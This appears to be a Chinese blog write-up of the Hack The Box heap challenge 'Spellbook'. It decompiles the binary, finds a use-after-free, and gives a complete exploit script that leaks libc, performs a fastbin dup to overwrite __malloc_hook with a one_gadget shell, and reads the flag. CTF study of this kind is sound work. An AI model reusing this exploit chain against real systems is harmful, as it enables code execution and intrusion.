selph
selph
Published on 2024-12-24 / 16 Visits
0
0

[HTB] Spellbook

前言

一次常规的fastbin dup练习

题目情况

In this magic school, there are some spellbound books given to young wizards where they can create and store the spells they learn throughout the years. There are some forbidden spells that can cause serious damage to other wizards and are not allowed. Beware what you write inside this book. Have fun, if you are a true wizard after all..

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'./glibc/'
    Stripped:   No
    Debuginfo:  Yes

逆向分析

执行:

 ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ
ᐊ 1. Add    ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 2. Show   ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 3. Edit   ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 4. Delete ⅀ ℙ ∉ ⎳ ⎳ ᐅ
 ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ

菜单题

main:

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  size_t opt; // rax

  setup();
  banner();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        opt = menu();
        if ( opt != 2 )
          break;
        show();                                 // 2
                                                // 打印数组结构体信息
      }
      if ( opt > 2 )
        break;
      if ( opt != 1 )
        goto LABEL_13;
      add();                                    // 1
                                                // 申请结构体装入数据
                                                // 结构体里有申请内存并写入数据的指针
    }
    if ( opt == 3 )
    {
      edit();                                   // 3
                                                // 存在UAF
    }
    else
    {
      if ( opt != 4 )
      {
LABEL_13:
        printf("\n%s[-] You are not a wizard! You are a muggle!\n\n", "\x1B[1;31m");
        exit(22);
      }
      delete();                                 // 4
                                                // 释放没清空指针
    }
  }
}

4个选项:

  1. add:会自动申请一个0x28的chunk,然后可控大小的申请和内容填充,无溢出

void __cdecl add()
{
  int size; // [rsp+4h] [rbp-5Ch]
  unsigned __int64 idx; // [rsp+8h] [rbp-58h]
  spl *spell; // [rsp+10h] [rbp-50h]

  printf(format);
  idx = read_num();
  if ( idx <= 9 )                               // 最多10个
  {
    spell = (spl *)malloc(0x28uLL);             // 固定大小申请一次
    printf(aInsert);
    spell->type[(int)(read(0, spell, 23uLL) - 1)] = 0;// 输入type,23字节
    printf(aInsert_0);
    size = read_num();
    if ( size <= 0 || size > 0x3E8 )            // 1~0x3e8
    {
      printf("\n%s[-] Such power is not allowed!\n", "\x1B[1;31m");
      exit(290);
    }
    spell->power = size;
    spell->sp = (char *)malloc(spell->power);   // 大小可控的申请
    printf(aEnter);
    spell->sp[(int)read(0, spell->sp, size - 1) - 1] = 0;// 输入内容,无溢出
    table[idx] = spell;                         // 装入数组
    printf(aS_0, "\x1B[1;32m", "\x1B[1;34m");
  }
  else
  {
    printf(aS, "\x1B[1;31m", "\x1B[1;34m");
  }
}
  1. show:指定索引打印内容

void __cdecl show()
{
  unsigned __int64 idx; // [rsp+0h] [rbp-10h]

  printf(format);
  idx = read_num();
  if ( idx <= 9 && table[idx] )
  {
    printf(asc_19A8);
    printf(table[idx]->type);
    printf(asc_19C6);
    printf(table[idx]->sp);
  }
  else
  {
    printf(aS, "\x1B[1;31m", "\x1B[1;34m");
  }
}
  1. Edit:指定索引编辑内容

void __cdecl edit()
{
  unsigned __int64 idx; // [rsp+8h] [rbp-18h]
  spl *new_spell; // [rsp+10h] [rbp-10h]

  printf(format);
  idx = read_num();
  if ( idx <= 9 && table[idx] )
  {
    new_spell = table[idx];                     // UAF
    printf(aNew);
    new_spell->type[(int)(read(0, new_spell, 0x17uLL) - 1)] = 0;
    printf(aNew_0);
    new_spell->type[(int)(read(0, new_spell->sp, 0x1FuLL) - 1)] = 0;
    printf(aS_1, "\x1B[1;32m", "\x1B[1;34m");
  }
  else
  {
    printf(aS, "\x1B[1;31m", "\x1B[1;34m");
  }
}
  1. delete:释放内存,但是没清空指针

void __cdecl delete()
{
  unsigned __int64 idx; // [rsp+8h] [rbp-18h]
  spl *ptr; // [rsp+10h] [rbp-10h]

  printf(format);
  idx = read_num();
  if ( idx <= 9 && table[idx] )
  {
    ptr = table[idx];                           // 释放但是没清空指针
    free(ptr->sp);
    free(ptr);
    printf(aS_2, "\x1B[1;32m", "\x1B[1;34m");
  }
  else
  {
    printf(aS, "\x1B[1;31m", "\x1B[1;34m");
  }
}

利用分析

缺陷:释放后不清空指针

libc版本2.23

思路:

  1. 申请一个unsorted size chunk,然后释放掉,通过show 来拿到libc leak

  2. fastbin dup 劫持 malloc hook 为 one_gadget(system不行,因为会先执行malloc(0x28),会报错

leak libc address

# leak libc address
add(0,b"0",0x98,b"0000")
add(1,b"1",0x18,b"1111")
dele(0)
show(0)
ru("⅀ ℙ ∉ ⎳ ⎳       : ".encode())
leak = rl()[:-1]
leak = u64(leak.ljust(8, b"\x00"))
success(f"leak address: {hex(leak)}")
libc.address = leak - 0x3c4b78
success(f"libc address: {hex(libc.address)}")

此时的堆:

0x56433ec8a000  0x0000000000000000      0x0000000000000031      ........1.......         <-- fastbins[0x30][0]
0x56433ec8a010  0x0000000000000000      0x0000000000000000      ................
0x56433ec8a020  0x0000000000000000      0x000056433ec8a040      ........@..>CV..
0x56433ec8a030  0x0000000000000098      0x00000000000000a1      ................         <-- unsortedbin[all][0]
0x56433ec8a040  0x00007fb0e3c03b78      0x00007fb0e3c03b78      x;......x;......
0x56433ec8a050  0x0000000000000000      0x0000000000000000      ................
0x56433ec8a060  0x0000000000000000      0x0000000000000000      ................
0x56433ec8a070  0x0000000000000000      0x0000000000000000      ................
0x56433ec8a080  0x0000000000000000      0x0000000000000000      ................
0x56433ec8a090  0x0000000000000000      0x0000000000000000      ................
0x56433ec8a0a0  0x0000000000000000      0x0000000000000000      ................
0x56433ec8a0b0  0x0000000000000000      0x0000000000000000      ................
0x56433ec8a0c0  0x0000000000000000      0x0000000000000000      ................
0x56433ec8a0d0  0x00000000000000a0      0x0000000000000030      ........0.......
0x56433ec8a0e0  0x0000000000000031      0x0000000000000000      1...............
0x56433ec8a0f0  0x0000000000000000      0x000056433ec8a110      ...........>CV..
0x56433ec8a100  0x0000000000000018      0x0000000000000021      ........!.......
0x56433ec8a110  0x0000000031313131      0x0000000000000000      1111............
0x56433ec8a120  0x0000000000000000      0x0000000000020ee1      ................         <-- Top chunk

第一个结构位于0x56433ec8a000​,会打印指向0x56433ec8a010​和0x000056433ec8a040​的内容

后者保存了unsortedbin 链表的地址,从而可以泄露出libc地址

fastbin dup attack

常规的fastbin dup操作:

pwndbg> x/12xga &__malloc_hook
0x7f504a9fcb10 <__malloc_hook>: 0x0     0x0
0x7f504a9fcb20: 0x0     0x0
0x7f504a9fcb30: 0x55ed06523000  0x0
0x7f504a9fcb40: 0x0     0x0
0x7f504a9fcb50: 0x0     0x0
0x7f504a9fcb60: 0x0     0x0

pwndbg> find_fake_fast 0x7f504a9fcb10
FAKE CHUNKS
Fake chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7f504a9fcaed
prev_size: 0x504a9fb260000000
size: 0x78 (with flag bits: 0x7f)
fd: 0x504a6bdea0000000
bk: 0x504a6bda7000007f
fd_nextsize: 0x7f
bk_nextsize: 0x00

这里因为每次申请内存都会申请一次0x28的内存

所以多准备2个可申请走的0x28的内存:

add(2, b"2", 0x68, b"2222")
add(3, b"3", 0x68, b"3333")

# 这里需要0x28多2个可申请的chunk
add(4, b"4", 0x28, b"4444")

dele(2)
dele(3)
dele(2)
dele(4)

add(5, b"5", 0x68, pack(libc.sym.__malloc_hook - 0x23))
add(6, b"6", 0x68, b"6666")
add(7, b"7", 0x68, b"7777")

one gedget:

challenge ➤ one_gadget ./glibc/libc.so.6
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

第三个有用,触发:

add(7, b"7", 0x68, p8(0)*0x13 + pack(libc.address + 0x4527a))
add(8, b"cat flag.txt", 0x68, b"8888")

完整exp

#!/usr/bin/env python3
from pwncli import *
cli_script()
context.log_level = "warn"

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt=b">> "):
    sla(prompt, i)

"""
⅀ ℙ ∉ ⎳ ⎳'s entry: 0

Insert ⅀ ℙ ∉ ⎳ ⎳'s type: 123

Insert ⅀ ℙ ∉ ⎳ ⎳ power: 24

Enter ⅀ ℙ ∉ ⎳ ⎳: 223
"""
def add(idx:int, type:bytes, size:int, content:bytes):
    cmd('1')
    sla(b"entry: ", str(idx).encode())
    sla(b"type: ", type)
    sla(b"power: ", str(size).encode())
    sla(b": ", content)
    #......

def show(idx:int):
    cmd('2')
    sla(b"entry: ", str(idx).encode())  
    #......

def edit(idx:int, type:bytes, content:bytes):
    cmd('3')
    sla(b"entry: ", str(idx).encode())
    sla(b"type: ", type)
    sla(b": ", content)
  
    #......

def dele(idx:int):
    cmd('4')
    sla(b"entry: ", str(idx).encode())  

    #......

"""
缺陷:释放后不清空指针
版本: libc 2.23
思路:
1. 申请一个unsorted size chunk,然后释放掉, 拿到libc leak
2. fastbin dup 劫持 malloc hook 为 system
"""


# leak libc address
add(0,b"0",0x98,b"0000")
add(1,b"1",0x18,b"1111")
dele(0)
show(0)
ru("⅀ ℙ ∉ ⎳ ⎳       : ".encode())
leak = rl()[:-1]
leak = u64(leak.ljust(8, b"\x00"))
success(f"leak address: {hex(leak)}")
libc.address = leak - 0x3c4b78
success(f"libc address: {hex(libc.address)}")
pause()
# fastbin dup attack
"""
pwndbg> x/12xga &__malloc_hook
0x7f504a9fcb10 <__malloc_hook>: 0x0     0x0
0x7f504a9fcb20: 0x0     0x0
0x7f504a9fcb30: 0x55ed06523000  0x0
0x7f504a9fcb40: 0x0     0x0
0x7f504a9fcb50: 0x0     0x0
0x7f504a9fcb60: 0x0     0x0
pwndbg> find_fake_fast 0x7f504a9fcb10
FAKE CHUNKS
Fake chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7f504a9fcaed
prev_size: 0x504a9fb260000000
size: 0x78 (with flag bits: 0x7f)
fd: 0x504a6bdea0000000
bk: 0x504a6bda7000007f
fd_nextsize: 0x7f
bk_nextsize: 0x00
"""

add(2, b"2", 0x68, b"2222")
add(3, b"3", 0x68, b"3333")

# 这里需要0x28多2个可申请的chunk
add(4, b"4", 0x28, b"4444")

dele(2)
dele(3)
dele(2)
dele(4)

add(5, b"5", 0x68, pack(libc.sym.__malloc_hook - 0x23))
add(6, b"6", 0x68, b"6666")
add(7, b"7", 0x68, b"7777")

"""
challenge ➤ one_gadget ./glibc/libc.so.6
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
"""
add(7, b"7", 0x68, p8(0)*0x13 + pack(libc.address + 0x4527a))
add(8, b"cat flag.txt", 0x68, b"8888")

ia()

总结

常规的fastbin dup练习

参考资料


Comment